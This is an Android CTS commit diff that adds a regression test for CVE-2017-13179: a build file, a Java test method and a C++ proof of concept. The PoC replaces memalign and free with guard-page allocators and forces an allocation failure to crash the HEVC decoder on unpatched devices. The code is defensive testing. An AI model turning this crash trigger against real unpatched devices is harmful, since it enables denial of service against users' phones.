[RESTRICT AUTOMERGE] CTS test for Android Security b/66969193

Bug: 66969193
Bug: 72322788
Test: Ran the new testcase on android-8.0.0_r30 with/without patch

Merged-in: I584bc55650b292a992ecc60ec78504e1d0584244
Change-Id: I584bc55650b292a992ecc60ec78504e1d0584244
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index 19e7480..35f7766 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -154,6 +154,11 @@
          * This binary only exists in 32-bit.
          */
         BINARY_EXCEPTIONS.add("CVE-2017-083332");
+
+        /**
+         * This binary only exists in 32-bit.
+         */
+        BINARY_EXCEPTIONS.add("CVE-2017-1317932");
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 72cecce..1a378a0 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -264,6 +264,7 @@
         <option name="cleanup" value="true" />
 
         <!-- Please add 32-bit binary tests below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-1317932->/data/local/tmp/CVE-2017-13179" />
         <option name="push" value="CVE-2017-083332->/data/local/tmp/CVE-2017-0833" />
         <option name="push" value="CVE-2017-083232->/data/local/tmp/CVE-2017-0832" />
         <option name="push" value="CVE-2017-085132->/data/local/tmp/CVE-2017-0851" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
new file mode 100644
index 0000000..557f5e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
@@ -0,0 +1,43 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13179
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := external/libhevc/common
+LOCAL_C_INCLUDES += external/libhevc/decoder
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/omx
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware
+LOCAL_C_INCLUDES += frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/codecs/hevcdec
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/include
+LOCAL_C_INCLUDES += system/libhidl/transport/token/1.0/utils/include
+LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_SHARED_LIBRARIES += libstagefright_soft_hevcdec
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -Wno-unused-variable -DMAX_WINDOW_SIZE=1048576
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
new file mode 100644
index 0000000..ce0199f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
@@ -0,0 +1,227 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <SoftOMXPlugin.h>
+#include <SoftOMXComponent.h>
+#include "ihevc_typedefs.h"
+#include "iv.h"
+#include "ivd.h"
+#include "SoftHEVC.h"
+#include "ihevc_buf_mgr.h"
+#define LIBNAME "/system/lib/libstagefright_soft_hevcdec.so"
+#define MAX_ENTRIES        (1024)
+
+#define DISABLE_MEM_ACCESS(mem, size)\
+    mprotect((char *) mem, size, PROT_NONE);
+
+#define ENABLE_MEM_ACCESS(mem, size)\
+    mprotect((char *) mem, size, PROT_READ | PROT_WRITE);
+
+typedef struct _map_struct_t {
+    void *start_ptr;
+    void *mem_ptr;
+    int num_pages;
+    size_t mem_size;
+} map_struct_t;
+
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void (*real_free)(void *) = NULL;
+static int s_memutils_initialized = 0;
+static int s_mem_map_index = 0;
+static int s_free_write_index = 0;
+static int s_free_read_index = 0;
+static int s_free_list_size = 0;
+static struct sigaction new_sa, old_sa;
+map_struct_t s_mem_map[MAX_ENTRIES];
+map_struct_t s_free_list[MAX_ENTRIES];
+
+void exit_handler(void) {
+    size_t page_size = getpagesize();
+    for (int i = 0; i < s_mem_map_index; i++) {
+        if (NULL != s_mem_map[i].start_ptr) {
+            ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                              (s_mem_map[i].num_pages * page_size));
+        }
+    }
+    for (int i = 0; i < MAX_ENTRIES; i++) {
+        if (NULL != s_free_list[i].start_ptr) {
+            ENABLE_MEM_ACCESS(s_free_list[i].start_ptr,
+                              (s_free_list[i].num_pages * page_size));
+            real_free(s_free_list[i].start_ptr);
+            memset(&s_free_list[i], 0, sizeof(map_struct_t));
+        }
+    }
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    exit_handler();
+    (*old_sa.sa_sigaction)(signum, info, context);
+}
+
+void sighandler_init(void) {
+    sigemptyset(&new_sa.sa_mask);
+    new_sa.sa_flags = SA_SIGINFO;
+    new_sa.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_sa, &old_sa);
+}
+
+void memutils_init(void) {
+    real_memalign = (void *(*)(size_t, size_t))dlsym(RTLD_NEXT, "memalign");
+    if (NULL == real_memalign) {
+        return;
+    }
+    real_free = (void (*)(void *))dlsym(RTLD_NEXT, "free");
+    if (NULL == real_free) {
+        return;
+    }
+    memset(&s_mem_map, 0, MAX_ENTRIES * sizeof(map_struct_t));
+    sighandler_init();
+    atexit(exit_handler);
+    s_memutils_initialized = 1;
+}
+
+void *memalign(size_t alignment, size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+
+    if (size == sizeof(buf_mgr_t)) {
+        return NULL;
+    }
+
+    char* start_ptr;
+    char* mem_ptr;
+    size_t total_size;
+    size_t aligned_size = size;
+    size_t new_alignment = sizeof(size_t);
+    size_t no_of_pages;
+    size_t page_size = getpagesize();
+
+    if (s_mem_map_index == MAX_ENTRIES) {
+        return real_memalign(alignment, size);
+    }
+
+    if (alignment > page_size) {
+        return real_memalign(alignment, size);
+    }
+
+    if ((0 == page_size) || (0 == alignment) || (0 == size)
+            || (0 == new_alignment)) {
+        return real_memalign(alignment, size);
+    }
+
+    if (0 != (size % new_alignment)) {
+        aligned_size = size + (new_alignment - (size % new_alignment));
+    }
+
+    if (0 != (aligned_size % page_size)) {
+        no_of_pages = (aligned_size / page_size) + 2;
+    } else {
+        no_of_pages = (aligned_size / page_size) + 1;
+    }
+
+    total_size = (no_of_pages * page_size);
+    start_ptr = (char *) real_memalign(page_size, total_size);
+    mem_ptr = (char *) start_ptr + ((no_of_pages - 1) * page_size)
+            - aligned_size;
+    DISABLE_MEM_ACCESS((start_ptr + ((no_of_pages - 1) * page_size)), page_size);
+    s_mem_map[s_mem_map_index].start_ptr = start_ptr;
+    s_mem_map[s_mem_map_index].mem_ptr = mem_ptr;
+    s_mem_map[s_mem_map_index].num_pages = no_of_pages;
+    s_mem_map[s_mem_map_index].mem_size = size;
+    s_mem_map_index++;
+    return mem_ptr;
+}
+
+void free(void *ptr) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+    if (ptr != NULL) {
+        int i = 0;
+        size_t page_size = getpagesize();
+        for (i = 0; i < s_mem_map_index; i++) {
+            if (ptr == s_mem_map[i].mem_ptr) {
+                s_free_list[s_free_write_index].start_ptr = s_mem_map[i]
+                        .start_ptr;
+                s_free_list[s_free_write_index].mem_ptr = s_mem_map[i].mem_ptr;
+                s_free_list[s_free_write_index].num_pages = s_mem_map[i]
+                        .num_pages;
+                s_free_list[s_free_write_index].mem_size =
+                        s_mem_map[i].mem_size;
+                s_free_write_index++;
+                s_free_list_size += s_mem_map[i].mem_size;
+                DISABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                                   (s_mem_map[i].num_pages * page_size));
+                memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+                while (s_free_list_size > MAX_WINDOW_SIZE) {
+                    ENABLE_MEM_ACCESS(
+                            s_free_list[s_free_read_index].start_ptr,
+                            (s_free_list[s_free_read_index].num_pages
+                                    * page_size));
+                    real_free(s_free_list[s_free_read_index].start_ptr);
+                    s_free_list_size -= s_free_list[s_free_read_index].mem_size;
+                    memset(&s_free_list[s_free_read_index], 0,
+                           sizeof(map_struct_t));
+                    s_free_read_index++;
+                    if ((s_free_read_index == MAX_ENTRIES)
+                            || (s_free_read_index >= s_free_write_index)) {
+                        break;
+                    }
+                }
+                return;
+            }
+        }
+    }
+    real_free(ptr);
+    return;
+}
+
+using namespace android;
+
+typedef SoftOMXComponent *(*CreateSoftOMXComponentFunc)(
+        const char *, const OMX_CALLBACKTYPE *, OMX_PTR, OMX_COMPONENTTYPE **);
+
+int main(void) {
+    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+    if (libHandle == NULL) {
+        return EXIT_SUCCESS;
+    }
+
+    CreateSoftOMXComponentFunc createSoftOMXComponent =
+            (CreateSoftOMXComponentFunc) dlsym(
+                    libHandle,
+                    "_Z22createSoftOMXComponentPKcPK16OMX_CALLBACKTYPE"
+                    "PvPP17OMX_COMPONENTTYPE");
+
+    if (createSoftOMXComponent == NULL) {
+        dlclose(libHandle);
+        return EXIT_SUCCESS;
+    }
+
+    OMX_COMPONENTTYPE *component = NULL;
+    SoftHEVC* codec = (SoftHEVC*) (*createSoftOMXComponent)(
+            "OMX.google.hevc.decoder", NULL, NULL, &component);
+
+    dlclose(libHandle);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index f85bb38..d56c520 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -51,6 +51,15 @@
      ******************************************************************************/
 
     /**
+     * b/66969193
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @SecurityTest(minPatchLevel = "2018-01")
+    public void testPocCVE_2017_13179() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13179", null, getDevice());
+    }
+
+    /**
      * b/65540999
      * Vulnerability Behaviour: Assert failure
      **/